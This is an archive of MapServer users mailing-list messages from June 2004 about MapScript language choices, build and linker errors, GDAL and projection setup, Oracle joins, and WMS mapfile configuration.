Perl, Python, and Ruby are better and more complete programming languages than PHP. Each of these languages are great for web programming. The Ruby flavor of mapscript is very new, and is being used in an application called MapDesk: http://www.sourcepole.com/mapdesk/ The Perl flavor of mapscript has been widely used, but isn't showing much promise as a basis for apps like MapDesk. I don't understand why. The Python flavor of mapscript is now the best supported of the Perl/Python/Ruby family. In my opinion, the strongest argument for using Python/MapScript is that you can then also use the GDAL module for Python. This gives you the best access to many raster and vector data formats. If you are a windows user, you can download a windows installer for Python Mapscript from http://users.frii.com/sgillies/projects/pymapscriptwin32.zip It works right "out of the box" and batteries are included. Hope this information helps you. There are more options than you may have expected! cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sebastien.dubois at esm2.imt-mrs.fr Fri Jun 4 08:12:30 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Fri, 4 Jun 2004 17:12:30 +0200 Subject: [Mapserver-users] jbox In-Reply-To: <40BC881D.3000207@greenwoodmap.com> References: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> <40BC881D.3000207@greenwoodmap.com> Message-ID: <1086361950.40c0915e3c958@webmail.esm2.imt-mrs.fr> first for users who didn't hear about jbox (mapplet) go to http://mapserver.gis.umn.edu/doc40/jbox-howto.html it's a very simple util to allow drag boxing with a java applet and without php mapscript. yet i didn't take a look to the code (java) and the documentation on the api seems not to be very heavy but is there someone here who knows how to take easily the coordonates of the box drawn with the mouse ( > in a .txt for example) or the point selected it would give me free time to go further ;-) thanks in advance ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From sbeorchia at gi-lemans.fr Fri Jun 4 08:08:10 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Fri, 04 Jun 2004 17:08:10 +0200 Subject: [Mapserver-users] join oracle Message-ID: <002b01c44a45$bff3a0b0$8469850a@GILEMANS> This is a multi-part message in MIME format. --Boundary_(ID_IfUBv0HaYr8Tt1rpEI1BJA) Content-type: multipart/alternative; boundary="Boundary_(ID_qaITqRF8WwB38ct287t95g)" --Boundary_(ID_qaITqRF8WwB38ct287t95g) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Hi, i'd like to know of it's possible to join some shapes (in a shape file) to Oracle. i explain: i have one Oracle database. i have a mapserver running, and reading some SHP files with shapes inside. These SHP files come with a DBF file of course, but with only an ID attribute. Others are in the Oracle database. And then, when i query the map i'd like to be able to retreive data from Oracle and not only from the DBF. Also, i'd like to classify my shapes with classes by taking a field filter in Oracle, not in the shape file. Is it possible ? Thanks. Sylvain. Le mans - France. --Boundary_(ID_qaITqRF8WwB38ct287t95g) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Hi,
 
i'd like to know of it's possible to join some shapes (in a shape file) to Oracle. i explain:
 
i have one Oracle database.
i have a mapserver running, and reading some SHP files with shapes inside. These SHP files come with a DBF file of course, but with only an ID attribute. Others are in the Oracle database. And then, when i query the map i'd like to be able to retreive data from Oracle and not only from the DBF. Also, i'd like to classify my shapes with classes by taking a field filter in Oracle, not in the shape file.
 
Is it possible ?
Thanks.
 
Sylvain.
Le mans - France.
--Boundary_(ID_qaITqRF8WwB38ct287t95g)-- --Boundary_(ID_IfUBv0HaYr8Tt1rpEI1BJA)-- From Zamil.Murji at divestco.com Fri Jun 4 08:17:38 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Fri, 4 Jun 2004 09:17:38 -0600 Subject: [Mapserver-users] Weird dyanmic linker error Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303B581E@DIV-MX02.divestco> Hello list, I am using mapserv-4.2b. Everything works fine for a little time (sometimes 2 hours other times 12 hours) and then all of a sudden the mapserv executable no longer works. I am using the cgi calls mostly. When I run my URL with QUERY_STRING this is what gets outputted. BUG IN DYNAMIC LINKER ld.so: dynamic-link.h: 57: elf_get_dynamic_info: Assertion `! "bad dynamic tag"' failed! All I do is copy the compile version over top of this one and everything works fine again. Here is some diagnostic info to help you help me: ./mapserv -v MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE ldd mapserv-4.2 libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40015000) libfreetype.so.6 => /usr/local/lib/libfreetype.so.6 (0x40039000) libpng.so.2 => /usr/lib/libpng.so.2 (0x4009d000) libz.so.1 => /usr/lib/libz.so.1 (0x400c7000) libtiff.so.3 => /usr/lib/libtiff.so.3 (0x400d7000) libm.so.6 => /lib/libm.so.6 (0x4011a000) libc.so.6 => /lib/libc.so.6 (0x40137000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) my /etc/ld.so.conf file contains the following: /usr/X11R6/lib /usr/kerberos/lib /usr/i486-linux-libc5/lib /usr/local/lib I am running rh 6.something or other. Thanks Zamil From sbeorchia at gi-lemans.fr Fri Jun 4 08:23:42 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Fri, 04 Jun 2004 17:23:42 +0200 Subject: [Mapserver-users] delete shape Message-ID: <004901c44a47$eb8127a0$8469850a@GILEMANS> This is a multi-part message in MIME format. --Boundary_(ID_zMHrFfk3foNoxS6o8eCoUA) Content-type: multipart/alternative; boundary="Boundary_(ID_y5ckjfaWuzfKfCLAcUrHag)" --Boundary_(ID_y5ckjfaWuzfKfCLAcUrHag) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Hi, i've an application using mapserver, which can read some shape files, mapinfo files and DGN files. I need to create some tools for the users for creating ,via the web, some new objects on the layers. For the shape and dgn files, it's ok (using shapelib and dgnlib). For the DGN i can even delete some objects. How can i delete from the shape files ? and for the mapinfo files, i cannot use the mitab.dll, i just can't get the exported functions... Thanks. Sylvain. --Boundary_(ID_y5ckjfaWuzfKfCLAcUrHag) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Hi,
 
i've an application using mapserver, which can read some shape files, mapinfo files and DGN files.
I need to create some tools for the users for creating ,via the web, some new objects on the layers.
For the shape and dgn files, it's ok (using shapelib and dgnlib). For the DGN i can even delete some objects.
How can i delete from the shape files ? and for the mapinfo files, i cannot use the mitab.dll, i just can't get the exported functions...
 
Thanks.
Sylvain.
--Boundary_(ID_y5ckjfaWuzfKfCLAcUrHag)-- --Boundary_(ID_zMHrFfk3foNoxS6o8eCoUA)-- From sbeorchia at gi-lemans.fr Fri Jun 4 08:17:37 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Fri, 04 Jun 2004 17:17:37 +0200 Subject: [Mapserver-users] join oracle Message-ID: <003e01c44a47$12a56860$8469850a@GILEMANS> This is a multi-part message in MIME format. --Boundary_(ID_/ux42QLEoakL8GUNN3/Q7g) Content-type: multipart/alternative; boundary="Boundary_(ID_GU1TulnZ9RcYfca5eWkwbQ)" --Boundary_(ID_GU1TulnZ9RcYfca5eWkwbQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Hi, i'd like to know of it's possible to join some shapes (in a shape file) to Oracle. i explain: i have one Oracle database. i have a mapserver running, and reading some SHP files with shapes inside. These SHP files come with a DBF file of course, but with only an ID attribute. Others are in the Oracle database. And then, when i query the map i'd like to be able to retreive data from Oracle and not only from the DBF. Also, i'd like to classify my shapes with classes by taking a field filter in Oracle, not in the shape file. Is it possible ? Thanks. Sylvain. Le mans - France. --Boundary_(ID_GU1TulnZ9RcYfca5eWkwbQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Hi,
 
i'd like to know of it's possible to join some shapes (in a shape file) to Oracle. i explain:
 
i have one Oracle database.
i have a mapserver running, and reading some SHP files with shapes inside. These SHP files come with a DBF file of course, but with only an ID attribute. Others are in the Oracle database. And then, when i query the map i'd like to be able to retreive data from Oracle and not only from the DBF. Also, i'd like to classify my shapes with classes by taking a field filter in Oracle, not in the shape file.
 
Is it possible ?
Thanks.
 
Sylvain.
Le mans - France.
--Boundary_(ID_GU1TulnZ9RcYfca5eWkwbQ)-- --Boundary_(ID_/ux42QLEoakL8GUNN3/Q7g)-- From devel at itdownunder.com.au Fri Jun 4 08:28:46 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Sat, 5 Jun 2004 01:28:46 +1000 Subject: [Mapserver-users] MapServ Compile Error after GDAL 1.2 install In-Reply-To: <000e01c44a37$fc3ed750$65c8a8c0@arlaptop> Message-ID: <001e01c44a48$a2500370$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C44A9C.73FC1370 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All I am compiling successfully now but I cannot get projections to work. Any ideas? [root at tanami mapserver-4.2.0]# ./configure --with-gd=/usr/local --with-freetype=/usr/bin --with-proj=/usr/src/proj-4.4.8 --with-gdal=/usr/local/bin/gdal-config --with-ogr=/usr/local/bin/gdal-config --with-wmsclient --with-wfs --with-wfsclient [root at tanami mapserver-4.2.0]# ./mapserv -v MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE Andrew Rich Maps Downunder Hi All Initially I had MapServer working ok but I received a image from Tyler that required a projection. To enable projections I install GDAL 1.2.0 and PROJ 4.4.8 . I used the following configure line ./configure --with-gd=/usr/src/gd-2.0.22 --with-proj=/usr/src/proj-4.4.8 --with-gdal=/usr/src/gdal-1.2.0/apps/gdal-config --with-wms Then make: [root at tanami mapserver-4.2.0]# make gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/usr/src/gd-2.0.22 -I/usr/src/proj-4.4.8/src -I/usr/src/gdal-1.2.0/port -I/usr/src/gdal-1.2.0/gcore -I/usr/src/gdal-1.2.0/alg -I/usr/src/gdal-1.2.0/ogr -I/usr/src/gdal-1.2.0/ogr/ogrsf_frmts mapserv.o cgiutil.o -L. -lmap -L/usr/src/gd-2.0.22/.libs -lgd -ljpeg -lfreetype -lpng -lz -ljpeg -lfreetype -lpng -lz -L/usr/src/proj-4.4.8/src/.libs -lproj -ljpeg /usr/src/gdal-1.2.0/libgdal.la -lm -o mapserv /usr/src/gdal-1.2.0/libgdal.la: file not recognized: File format not recognized collect2: ld returned 1 exit status make: *** [mapserv] Error 1 Is this GDAL-1.2 too new and should I downgrade or is it something else. Regards Andrew Rich ------=_NextPart_000_001F_01C44A9C.73FC1370 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

I am compiling successfully now but = I cannot get projections to work.  = Any ideas?

 

 

[root at tanami mapserver-4.2.0]# ./configure --with-gd=3D/usr/local  --with-freetype=3D/usr/bin --with-proj=3D/usr/src/proj-4.4.8 --with-gdal=3D/usr/local/bin/gdal-config --with-ogr=3D/usr/local/bin/gdal-config --with-wmsclient --with-wfs --with-wfsclient

 

[root at tanami mapserver-4.2.0]# ./mapserv -v

MapServer<= /font> version 4.2.0 OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP = SUPPORTS=3DFREETYPE INPUT=3DTIFF INPUT=3DEPPL7 INPUT=3DJPEG = INPUT=3DSHAPEFILE

 

Andrew = Rich

Maps = Downunder

 

 

Hi All

 

Initially I had MapServer working ok but I received a = image from Tyler that required a projection.

 

To enable projections I install GDAL 1.2.0 and PROJ = 4.4.8 .

 

I used the following configure = line

 

./configure --with-gd=3D/usr/src/gd-2.0.22 = --with-proj=3D/usr/src/proj-4.4.8 --with-gdal=3D/usr/src/gdal-1.2.0/apps/gdal-config = --with-wms

 

Then make:

 

[root at tanami mapserver-4.2.0]# = make

gcc -O2  = -Wall -DIGNORE_MISSING_DATA  = -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR        -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT    -DUSE_GDAL     -I/usr/src/gd-2.0.22  -I/usr/src/proj-4.4.8/src       -I/usr/src/gdal-1.2.0/port -I/usr/src/gdal-1.2.0/gcore -I/usr/src/gdal-1.2.0/alg -I/usr/src/gdal-1.2.0/ogr -I/usr/src/gdal-1.2.0/ogr/ogrsf_frmts      mapserv.o cgiutil.o   -L. -lmap -L/usr/src/gd-2.0.22/.libs -lgd -ljpeg -lfreetype -lpng -lz    -ljpeg -lfreetype = -lpng -lz   -L/usr/src/proj-4.4.8/src/.libs -lproj -ljpeg  = /usr/src/gdal-1.2.0/libgdal.la        -lm  -o = mapserv

/usr/src/gdal-1.2.0/libgdal.la: file not recognized: = File format not recognized

collect2: ld returned 1 exit = status

make: *** [mapserv] Error = 1

 

Is this GDAL-1.2 too new and should I downgrade or is = it something else.

 

Regards

Andrew Rich

------=_NextPart_000_001F_01C44A9C.73FC1370-- From rich at greenwoodmap.com Fri Jun 4 08:44:44 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 04 Jun 2004 09:44:44 -0600 Subject: [Mapserver-users] Re: jbox In-Reply-To: <1086361950.40c0915e3c958@webmail.esm2.imt-mrs.fr> References: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> <40BC881D.3000207@greenwoodmap.com> <1086361950.40c0915e3c958@webmail.esm2.imt-mrs.fr> Message-ID: <40C098EC.4020303@greenwoodmap.com> S?bastien DUBOIS wrote: > first for users who didn't hear about jbox (mapplet) go to > http://mapserver.gis.umn.edu/doc40/jbox-howto.html > it's a very simple util to allow drag boxing with a java applet and without php > mapscript. > > yet i didn't take a look to the code (java) and the documentation on the api > seems not to be very heavy but is there someone here who knows how to take > easily the coordonates of the box drawn with the mouse ( > in a .txt for > example) or the point selected it would give me free time to go further ;-) > Wim Blanken has done some work along these lines. His email address is: wim.blanken at planet.nl -- Richard Greenwood www.greenwoodmap.com From steve.lime at dnr.state.mn.us Fri Jun 4 08:48:34 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 04 Jun 2004 10:48:34 -0500 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: Nope, that functionality doesn't exist. For clarification, you mean only the features actually labeled? That may be tough because labels are assigned before being queued for rendering and this would need to be far more dynamic. If you could expand on your idea that would help... Steve >>> Brad Cantwell 6/3/2004 1:56:37 PM >>> Is there a way to do sequential numbering for labels? We would like to have the labels for features autonumbered (i.e. 1 though N). Is there a way to do this through the .map file? We are trying to avoid MapScript if possible. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From maggie.ma at pechan.com Fri Jun 4 09:09:49 2004 From: maggie.ma at pechan.com (Maggie Ma) Date: Fri, 4 Jun 2004 09:09:49 -0700 Subject: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map {Scanned} {Scanned} In-Reply-To: Message-ID: <200406041610.i54G9taL025344@mail.cwo.com> Hi, Thanks Zoltan, Zak, and all. Sorry for posting questions non related to mapserver. Zoltan, I think you are right. ArcView can display x,y tables and convert It to a shapefile. My problem yesterday was how to correct set the projection for this new shape points layer. I finally made it by exporting The displayed points event the same projection as the data frame. I'm not Sure this is the way it is supposed to be but at least it made those points Sat right there where they should be. =) Anyways, thanks a lot everybody. I hope you have a great Friday and a wonderful weekend. Maggie -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Siki Zoltan Sent: Friday, June 04, 2004 1:26 AM To: Maggie Ma Cc: 'Zak James'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map {Scanned} {Scanned} Hi, Hm it is off topic, but ArcView can convert dbase tables with x,y coordinates to a point shape. In ArcView 3.x it is called Create Event Layer (or something similar). Bye Zoltan On Thu, 3 Jun 2004, Maggie Ma wrote: > Thanks for responding, Zak. I forgot to mention that I am not using > Mapserver. I'm using ArcGIS. Any idea how I shall do it in ArcView? > Thanks! > > Maggie > > -----Original Message----- > From: Zak James [mailto:zjames at dmsolutions.ca] > Sent: Thursday, June 03, 2004 3:38 PM > To: Maggie Ma > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Displaying Lat/Long points onto State Plane > projected map > > The easiest thing might be to use PHP and PHP/Mapscript to open the dbf > file using php's dbase support and then create a shapefile of points > using mapscript commands. Then mapserver can load the shapefile data. > > zak > -- > Zak James > Applications and Software Development > DM Solutions Group Inc. > http://www.dmsolutions.ca > > > On Jun 3, 2004, at 6:05 PM, Maggie Ma wrote: > > > Hello, > > > > > > > > I am trying to display some lat/long points, stored in a dbf file, > > onto an > > existing > > > > map which was projected to State Plane NAD83 FIPS 4601 in FT. Is there > > anyone > > > > who would give me some detailed instruction on how to do it? Or at > > least > > some > > > > idea? Thank you very much in advance! > > > > > > > > Maggie > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Fri Jun 4 09:20:35 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 04 Jun 2004 12:20:35 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released In-Reply-To: <000e01c44a35$d7227be0$1300a8c0@cuestasys.com> References: <000e01c44a35$d7227be0$1300a8c0@cuestasys.com> Message-ID: <40C0A153.8030605@pobox.com> Mark Adams wrote: > Can someone tell me whether the gdal included with the Windows PHP > mapscript binary packages has support for jpeg 2000 (jp2) files? I have > been trying out maplab and received an "unsupported format" error when > trying to view a jp2 file. The gdal web page indicates that this format > should be supported; I can't see any way of determining whether the dll > I have installed from the mapscript package somehow excludes this format > or not. (I've seen reference to a utility called gdal-config but none of > the gdal packages I've been able to find and download include this > utility.) Mark, I *think* the DMSolutions builds of MapServer do not include JPEG2000 support. All GDAL supported formats are listed on the GDAL web pages, but many require additional libraries some of which have various licensing restrictions. So any given "build" of GDAL will have only some subset of the potential formats. The OpenEV_FW releases I prepare do include MapServer and JPEG2000 support but they don't include PHP support or some of the other great stuff that DM Solutions does. Sometimes it is hard to get a build with everything. PS. gdal-config is really only available on unix. PPS. If you have the commandline programs like gdalinfo you can use "gdalinfo --formats" to get a list of supported formats in that build. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From markadams at cuestasys.com Fri Jun 4 09:30:59 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 4 Jun 2004 12:30:59 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released In-Reply-To: <40C0A153.8030605@pobox.com> Message-ID: <002701c44a51$52252930$1300a8c0@cuestasys.com> Frank, thanks for this info. A follow-up question though: when I try to run gdalinfo.exe from the command line, I get a system error message indicating that a file called msvcr71.dll could not be found in my system paths. I did a search, I don't have this .dll on my system. It's not included in the openev_fw packages either. Any idea what this .dll is and why it's needed (and where I can get it from?) Thanks again. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: Frank Warmerdam [mailto:warmerdam at pobox.com] Sent: Friday, June 04, 2004 12:21 PM To: markadams at cuestasys.com Cc: 'mapserver-users' Subject: Re: [Mapserver-users] MapServer 4.2.0 released Mark Adams wrote: > Can someone tell me whether the gdal included with the Windows PHP > mapscript binary packages has support for jpeg 2000 (jp2) files? I have > been trying out maplab and received an "unsupported format" error when > trying to view a jp2 file. The gdal web page indicates that this format > should be supported; I can't see any way of determining whether the dll > I have installed from the mapscript package somehow excludes this format > or not. (I've seen reference to a utility called gdal-config but none of > the gdal packages I've been able to find and download include this > utility.) Mark, I *think* the DMSolutions builds of MapServer do not include JPEG2000 support. All GDAL supported formats are listed on the GDAL web pages, but many require additional libraries some of which have various licensing restrictions. So any given "build" of GDAL will have only some subset of the potential formats. The OpenEV_FW releases I prepare do include MapServer and JPEG2000 support but they don't include PHP support or some of the other great stuff that DM Solutions does. Sometimes it is hard to get a build with everything. PS. gdal-config is really only available on unix. PPS. If you have the commandline programs like gdalinfo you can use "gdalinfo --formats" to get a list of supported formats in that build. Best regards, -- ---------------------------------------+-------------------------------- ------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From eduardo at consultoria.eti.br Fri Jun 4 09:56:49 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 4 Jun 2004 13:56:49 -0300 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: References: Message-ID: <20040604165649.9789.qmail@hm47.locaweb.com.br> Hi Sean, I saw your draw below... what is SWIG? is it a what of "framework" that Python, Ruby and Perl makes use to deploy MapScript? Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Fri, 4 Jun 2004 09:05:43 -0600, Sean Gillies escreveu: > De: Sean Gillies > Data: Fri, 4 Jun 2004 09:05:43 -0600 > Para: Alexander Lim > Assunto: Re: [Mapserver-users] Perl/MapScript or PHP/Mapscript > > On Jun 3, 2004, at 11:44 PM, Alexander Lim wrote: > > > Hi all, > > > > I just getting started and realised that we can make > > use of Perl/MapScript and PHP/Mapscript, but i would > > like to know what's the differences and which one is > > "better" to use. And which one is more popular and > > more people are using it (This is for getting help > > from this list when i face some problem down the > > line). Does the two perform and is doing the same > > thing at all? > > > > which one should i adopt in terms of flexibility and > > features. > > > > please advice. thanks > > > > alex > > > > Hi Alex, > > The mapscript family tree looks like this: > > MapServer > /\ > / \ > / \ > PHP/MapScript \ > \ SWIG MapScript > ---------+--------- > | | | > Perl Python Ruby > > The Perl, Python, Ruby flavors are like brothers and sisters and > the PHP MapScript is like a very close cousin to them. > > They are all quite equal in mapping capability. The Perl mapscript > does not quite work natively on Windows, but the others work equally > well across platforms. > > There is no clear "better" choice. It will depend on your needs. > > The PHP language makes web programming easy, and this is the most > popular type of MapScript. The DM Solutions Group uses PHP/Mapscript > primarily and have developed a bunch of great web mapping tools that > they share with PHP/Mapscript users. > > http://maptools.org/ > > They are also very good about answering questions on the users list, so > PHP/Mapscript has the best overall support. One looming issue for > PHP/Mapscript is that there is currently no support for PHP 5. > > On the other hand: Perl, Python, and Ruby are better and more complete > programming languages than PHP. Each of these languages are great for > web programming. The Ruby flavor of mapscript is very new, and is > being used in an application called MapDesk: > > http://www.sourcepole.com/mapdesk/ > > The Perl flavor of mapscript has been widely used, but isn't showing > much promise as a basis for apps like MapDesk. I don't understand > why. > > The Python flavor of mapscript is now the best supported of the > Perl/Python/Ruby family. In my opinion, the strongest argument for > using Python/MapScript is that you can then also use the GDAL module > for Python. This gives you the best access to many raster and > vector data formats. If you are a windows user, you can download a > windows installer for Python Mapscript from > > http://users.frii.com/sgillies/projects/pymapscriptwin32.zip > > It works right "out of the box" and batteries are included. > > Hope this information helps you. There are more options than you may > have expected! > > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From sgillies at frii.com Fri Jun 4 10:08:03 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 4 Jun 2004 11:08:03 -0600 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: <20040604165649.9789.qmail@hm47.locaweb.com.br> References: <20040604165649.9789.qmail@hm47.locaweb.com.br> Message-ID: On Jun 4, 2004, at 10:56 AM, Eduardo Patto Kanegae wrote: > > Hi Sean, > > I saw your draw below... > > what is SWIG? is it a what of "framework" that Python, Ruby and Perl > makes use to deploy MapScript? > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > Eduardo, Framework is not the right word. SWIG is a program that operates on a common module interface specification (the mapserver/mapscript/mapscript.i file) and produces Perl, Python, or Ruby mapscript modules and also C/C++ libraries that glue the modules to the mapserver code in libmap.lib or libmap.a. After running swig, you then compile the module code and use it without including SWIG itself in your applications. There is no run-time dependence on SWIG. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From bamarob55 at yahoo.com Fri Jun 4 10:14:22 2004 From: bamarob55 at yahoo.com (Robert Aldridge) Date: Fri, 4 Jun 2004 10:14:22 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net Message-ID: <20040604171422.3113.qmail@web51103.mail.yahoo.com> I'm attempting to show a DOQ from terraservice.net via mapserver. I've read through the howto's and archives of this list, but to no avail. It appears to be working, but I just get a blank image. Could someone post a simple mapfile that displays a DOQ from terraserver, or take a look at my mapfile to see if you can identify my problem? Here's my (simple) mapfile: #begin mapfile NAME "wms_test" SIZE 600 400 STATUS ON EXTENT 430400 3750400 435200 3753600 UNITS METERS IMAGETYPE PNG LAYER NAME ortho METADATA "wms_title" "USGS Digital Ortho-Quadrangles" "wms_srs" "EPSG:26916" #NAD83 UTM Zone 16N "wms_name" "ortho" "wms_server_version" "1.1.1" "wms_formatlist" "image/png,image/jpeg,image/gif" "wms_format" "image/png" END OFFSITE 255 255 255 STATUS DEFAULT TYPE RASTER CONNECTIONTYPE WMS CONNECTION "http://terraservice.net/ogcmap.ashx?" DEBUG ON END END END #end mapfile I'm viewing it by typing the following URL: http://myserver/cgi-bin/mapserv?map=/var/www/mapping/wms.map&mode=map It returns a 600x400 PNG image, but it's blank (all white). Thanks, Robert __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From bamarob55 at yahoo.com Fri Jun 4 10:26:25 2004 From: bamarob55 at yahoo.com (Robert Aldridge) Date: Fri, 4 Jun 2004 10:26:25 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net Message-ID: <20040604172625.45127.qmail@web51110.mail.yahoo.com> I'm attempting to show a DOQ from terraservice.net via mapserver. I've read through the howto's and archives of this list, but to no avail. It appears to be working, but I just get a blank image. Could someone post a simple mapfile that displays a DOQ from terraserver, or take a look at my mapfile to see if you can identify my problem? Here's my (simple) mapfile: #begin mapfile NAME "wms_test" SIZE 600 400 STATUS ON EXTENT 430400 3750400 435200 3753600 UNITS METERS IMAGETYPE PNG LAYER NAME ortho METADATA "wms_title" "USGS Digital Ortho-Quadrangles" "wms_srs" "EPSG:26916" #NAD83 UTM Zone 16N "wms_name" "ortho" "wms_server_version" "1.1.1" "wms_formatlist" "image/png,image/jpeg,image/gif" "wms_format" "image/png" END OFFSITE 255 255 255 STATUS DEFAULT TYPE RASTER CONNECTIONTYPE WMS CONNECTION "http://terraservice.net/ogcmap.ashx?" DEBUG ON END END END #end mapfile I'm viewing it by typing the following URL: http://myserver/cgi-bin/mapserv?map=/var/www/mapping/wms.map&mode=map It returns a 600x400 PNG image, but it's blank (all white). Thanks, Robert __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From eduardo at consultoria.eti.br Fri Jun 4 11:20:31 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 4 Jun 2004 15:20:31 -0300 Subject: [Mapserver-users] LibCURL and MapServer In-Reply-To: <40C0A0A7.8040902@pobox.com> References: <40C0A0A7.8040902@pobox.com> Message-ID: <20040604182031.20215.qmail@hm47.locaweb.com.br> and about LibWWW ? does mapserver need this too? Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Fri, 04 Jun 2004 12:17:43 -0400, Frank Warmerdam escreveu: > De: Frank Warmerdam > Data: Fri, 04 Jun 2004 12:17:43 -0400 > Para: Eduardo Patto Kanegae > Assunto: Re: [Mapserver-users] LibCURL and MapServer > > Eduardo Patto Kanegae wrote: > > what is the function of LibCURL for MapServer? > > > > is it used to "parse" wms/wfs queries? > > Eduardo, > > Libcurl is used for the low level HTTP protocol support when fetching > data from a remote WMS, or WFS. > > Best regards, > > -- > ---------------------------------------+-------------------------------------- > I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > > From giorgio19291 at inwind.it Fri Jun 4 13:39:18 2004 From: giorgio19291 at inwind.it (giorgio19291) Date: Fri, 4 Jun 2004 20:39:18 +0000 Subject: [Mapserver-users] java mapscript sites examples Message-ID: <200406042039.18723.giorgio19291@inwind.it> Hi All I would implement mapserver in tomcat as servlet but I have found a lot of problems in start with it! So: 1) is there sites that implement mapserver as servlet in tomcat that I can view? 2) Some one have a piece of basic code that I can compile as servlet in tomcat for view how it run? I have load the java Howto. I can compile the native library libmapscript.so and the mapscript.jar but i'm unable to compile a functional basic servlet to view something? Many thanks. 